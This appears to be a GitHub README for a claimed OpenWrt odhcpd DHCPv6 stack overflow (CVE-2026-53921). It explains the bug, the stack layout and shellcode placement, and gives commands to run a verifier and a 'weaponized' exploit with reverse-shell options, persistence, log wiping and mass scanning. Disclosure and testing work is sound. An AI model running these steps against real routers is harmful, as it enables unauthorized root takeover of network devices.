
CVE-2026-53921 – odhcpd Stack Overflow (CVSS 9.8) 🛡️ Vuln detailed and comprehensive Write-Up and Verifier & Multi-exploit for OpenWrt DHCPv6 RCE. Dual-vector (IA_NA/IA_PD) overflow with MIPS/ARM shellcode, ROP chains, SOCKS5 proxy, persistence, log wiping & mass scanning. Use Ethically, Stay Legal. 🔒

- For educational and authorized testing only. Unauthorized use is illegal.**
CVE-2026-53921 is a critical stack buffer overflow in OpenWrt’s odhcpd daemon – the default DHCPv6/DHCPv4/RA server.
The vulnerability exists in odhcpd's DHCPv6 message handling code,
specifically in the build_ia() and dhcpv6_ia_handle_IAs() functions.
The bug occurs during the serialization (packing) of DHCPv6 Reply
packets. When odhcpd responds to client requests, it constructs the
reply in a fixed-size stack buffer of 512 bytes without proper
bounds checking.
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
An attacker sends a DHCPv6 Request (or Solicit) with:
Each option consumes stack space as odhcpd builds its Reply. The
accumulated data exceeds 512 bytes, causing the overflow.
Vector Trigger Overflow Point
Site 1 5 IA_NA options build_ia() for IA_NA
with IPv6 addresses
build_ia() for IA_PDThe root cause is identical, but the overflow occurs in different code paths, making both vectors equally exploitable.
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
The attacker overwrites the saved return address to point to their shellcode in memory.
Requirement Description
Network Access Attacker must have IPv6 connectivity to the target
Authentication None -- unauthenticated attack
Privileges odhcpd runs as root, so RCE grants
full system control
In a real exploit, the attacker's shellcode is placed in the IAAddress IPv6 address fields (16 bytes per IA_NA). The crafted packets pack the shellcode, NOP sled, and return address into these fields.
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
Version Status RCE Possible?
odhcpd < e432dd6 Vulnerable [+] Yes OpenWrt < 24.10.8 Vulnerable [+] Yes OpenWrt < 25.12.5 Vulnerable [+] Yes OpenWrt 24.10.8+ Patched [-] No OpenWrt 25.12.5+ Patched [-] No odhcpd master + e432dd6 Patched [-] No
This vulnerability is particularly dangerous because:
odhcpd is enabled by default on OpenWrt installations.| Component | Vulnerable versions | Fixed in |
|---|---|---|
odhcpd (master branch) | before commit e432dd6 | e432dd6 or later |
| OpenWrt releases | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
This repository provides two independent scripts:
| Script | Purpose | Exploit code | Safety |
|---|---|---|---|
verifier.py | Non‑intrusive vulnerability check | [-] No | [+] Safe |
exploit.py | Full weaponized exploit | [+] Yes | [!] Dangerous |
verifier.py – Vulnerability Checkerexploit.py – Full ExploitIA_NA (Site1) and IA_PD (Site2).git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| Argument | Description |
|---|---|
-u, --target | Target IPv6 address (required) |
-i, --iface | Network interface (default: eth0) |
exploit.py